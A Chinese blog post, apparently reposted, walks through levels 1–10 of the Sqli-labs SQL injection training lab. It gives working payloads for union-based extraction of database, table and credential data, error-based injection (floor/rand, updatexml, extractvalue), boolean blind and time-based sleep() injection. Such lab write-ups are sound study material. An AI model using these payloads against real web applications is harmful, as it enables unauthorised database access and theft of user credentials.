我是靠谱客的博主 简单含羞草,最近开发中收集的这篇文章主要介绍Sqli-labs ”1~10关“——宝典Sqli-labs 1~10关:,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Sqli-labs 1~10关:

url编码表链接

问题:Please input the ID as parameter with numeric value
———请输入ID作为带数值的参数。
过关方式为在url中使用sql注入查询数据。(之所以说这因为我第一次进来时懵逼了。)
1~10关所用的闭合方式
1:数字型注入——无需闭合。
2:单引号闭合——以'--+闭合。
3:单引号和括号闭合——以')--+闭合。
4:双引号闭合——以"--+闭合。
5:双引号和括号闭合——以")--+闭合。
PS:在url中建议用--+注释,在POST注入中用#注释。

Less-1
1: 首先,输入/?id=1 页面显示正常。如下 (/?id=1/?id=1 or 1=1为万能)

判断闭合方式,输入/?id=1'--+,页面正常。所以该关为单引号闭合。
2: 然后,通过order by x 查询字段数。
order by :是用来查询列数的,当字段数超过数据库的字段数,数据库就会返回错误信息,因此,我们可以利用order by来猜测数据库的字段数 。
输入/?id=1' order by 4--+ 网页显示错误,如下:
在这里插入图片描述
输入/?id=1' order by 3--+,页面显示正常,如下:
在这里插入图片描述
说明有三个字段.

4: 接着采用union联合查询。
输入/?id=0' union select 1,2,3--+ 注意:输入的ID需不存在,使前面的语句错误为空,然后显示后面的语句信息。例如id=-1,0,250等。页面显示如下:
在这里插入图片描述
页面显示说明,可以在2,3位置为显示为,输入查询语句后,信息会出现在2,3位置。输入/?id=0' union select 1,(select database()),3--+——查询本地数据库。
信息会出现在原来2的位置,如下:
在这里插入图片描述
输入/?id=0' union select 1,database(),3--+也可查询本地数据库。

输入/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+——查询所有数据库,如下:
在这里插入图片描述
输入/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+——查询security数据库中的数据表,如下:
在这里插入图片描述
输入/?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),3–+——查询security数据库中的users数据表的字段名。如下:
在这里插入图片描述
输入/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+——查询security数据库中的users数据表中的数据。

table_name、information_schema、等都是数据库中自带的,可在phpmyadmin中查看。
group_concat() 是一个函数,将同一个id的其他字段合并起来。
information_schema:MySQL中自带数据库。
table_schema:数据库名
table_name:数据表名。
column_name:字段名。

Less-2
首先,输入/?id=1正常,输入/?id=1'--+/?id=1')--+都错误,说明该关为数字型注入,不需要闭合。其他查询语句见Less-1

Less-3
首先,输入/?id=1正常,输入/?id=1'--+错误,输入/?id=1')--+页面显示正常,说明该关以')和--+闭合。其他查询语句见Less-1

Less-4
首先,输入/?id=1正常,输入/?id=1'--+/?id=1')--+页面正常,但用order by 查询字段数时页面无变化,换成/?id=1") order by 4--+,页面变化。说明该关以")和–+闭合。其他查询语句见Less-4

Less-5
首先,输入/?id=1,出现以下页面:
在这里插入图片描述
用union联合查询没有显示位。所以我们可以选择报错注入

报错注入:

报错注入就是通过输入错误语句,使我们要查询的信息出现在报错语句中。
(一)floor()报错:

and (select 1 from(select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

COUNT(column_name)函数:返回指定列的值的数目(NULL 不计入):COUNT(*)函数:返回表中的记录数
concat(a,b) :合并
payload:想使用的SQL语句(在此中可用联合查询。)
floor(向下取整数)
group by :将字段分组
x:字段名
rand()函数:rand(x),为x赋一个参数值,作为随机种子,相同参数的rand(x),随机的数字一样。)

原理:rand(0)*2 会随机生成两个数,检测临时表中key是否存在,floor(rand(0)*2)可能为0 也可能为1 导致插入时冲突而报错,也就是检测时和插入时两次计算了随机数的值。

(二)updatexml()报错:
and updatexml(1,(子句),1)

原理:语句对payload的返回类型做了限制,只有在payload返回的不是xml格式才会生效,查询时使用的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,出现查询结果。——王泽平大佬

(三).extractvalue()报错:
and extractvalue(1, 子句)

原理:正常用户访问服务器时发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入。——王泽平大佬

Less-5
?id=1'后出现报错,所以可以用’和–+闭合。
输入/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a)--+——查询所有数据库名。如下:
在这里插入图片描述
可在子句中用联合查询。

Less-6
首先,输入/?id=1/?id=1'等判断闭合方式,只有/?=1"出现报错信息,所以我们以"--+闭合,采用报错注入。用Less-5相同。

Less-7
首先,输入/?id=1,网页显示如下:
在这里插入图片描述
说明我们要用文件录入的方式将信息录入到文件中。

union select 1,2,3 into outfile'file_path'

但是错了,本题跳过。

Less-8
首先,通过尝试,发现输入什么都没报错信息,所以不能通过报错注入了。
用布尔盲注。

布尔盲注:

(1)mid()函数:mid(string,start,length)
(2)substr()函数: substr(string,start,length)
(3)left()函数: left(string,length)
(4)ascii()函数: 把某一个字符转为ascii值。(可将字符转成ascii值比较)
(5)limit(m,n)函数: 索引从m到n的数据。
string:规定要返回的字符串。start:规定在字符串的何处开始(初始值为1)。
length:规定被返回字符串的长度(可以省略,若省略则返回剩余所有文本)
布尔盲注的原理是根据页面返回的是true还是false来判断比较的字母是否正确。
在函数后输入>'a',判断页面是否有变化,若页面无变化则会真,若页面为空,则为假,以此判断首字母,通过更改字符的位置,判断其他字母。

Less-8中:
输入?id=1' and mid(database(),1,1)>'a'--+——判断本地数据库首字母是否大于a。若为真,则显示如下:
在这里插入图片描述

直到输入/?id=1' and mid(database(),1,1)>'s'--+,页面显示如下:

在这里插入图片描述
所以首字母为s。
关于判断闭合方式,我的方法是先把整条语句打出来,只有正确的闭合方式才有效,其余的页面为空。

Less-9
if(a,b,c)函数: 判断a,如果a为真,则执行b;a为假,则执行。
sleep(x)函数: 延迟x秒
本关采用时间延迟盲注

输入 /?id=1' and if(ascii(substr(database(),1,1))>'98'),sleep(5),1)--+,如果为真,则延迟5s出现网页结果。依次推出库名。
关于本关的闭合方式判断,我采用的与Less-8方式一样。判断出本关为单引号闭合。

Less-10
该关与Less-9唯一区别在于闭合方式为双引号闭合。

感谢王大佬的启蒙指导

最后

以上就是简单含羞草为你收集整理的Sqli-labs ”1~10关“——宝典Sqli-labs 1~10关:的全部内容,希望文章能够帮你解决Sqli-labs ”1~10关“——宝典Sqli-labs 1~10关:所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(47)

评论列表共有 0 条评论

立即
投稿
返回
顶部